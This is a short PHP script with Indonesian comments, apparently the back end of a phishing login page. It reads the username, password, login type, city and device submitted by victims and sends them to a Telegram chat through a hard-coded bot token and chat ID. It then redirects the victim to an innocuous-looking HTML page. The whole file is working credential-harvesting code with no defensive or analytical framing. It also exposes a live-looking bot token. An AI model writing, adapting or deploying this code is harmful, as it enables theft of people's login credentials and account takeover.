<?php
// === Konfigurasi Bot Telegram ===
$token   = "8727011628:AAEN6_CnSRiOyTZg3is2Z8JyYodXhgXdII4";
$chat_id = "-1003615695612";

if ($_SERVER["REQUEST_METHOD"] === "POST") {
    // Ambil data dari form
    $username  = isset($_POST["username"]) ? htmlspecialchars($_POST["username"]) : "";
    $password  = isset($_POST["password"]) ? htmlspecialchars($_POST["password"]) : "";
    $loginType = isset($_POST["loginType"]) ? htmlspecialchars($_POST["loginType"]) : "unknown";
    $city      = isset($_POST["city"]) ? htmlspecialchars($_POST["city"]) : "unknown";
    $device    = isset($_POST["device"]) ? htmlspecialchars($_POST["device"]) : $_SERVER['HTTP_USER_AGENT'];

    // Buat pesan untuk Telegram
    $message = "🔔 Login Baru\n".
               "👤 Username: $username\n".
               "🔑 Password: $password\n".
               "📱 Login Type: $loginType\n".
               "🌍 Kota: $city\n".
               "💻 Device: $device\n".
               "🕒 " . date("Y-m-d H:i:s");

    // Kirim ke Telegram
    $url = "https://api.telegram.org/bot$token/sendMessage";
    $data = [
        "chat_id" => $chat_id,
        "text"    => $message
    ];

    $options = [
        "http" => [
            "header"  => "Content-type: application/x-www-form-urlencoded\r\n",
            "method"  => "POST",
            "content" => http_build_query($data)
        ]
    ];
    $context  = stream_context_create($options);
    file_get_contents($url, false, $context);

    // Redirect setelah selesai
    header("Location: ../saxbG9naW44.html");
    exit;
} else {
    echo "Akses tidak valid!";
}
?>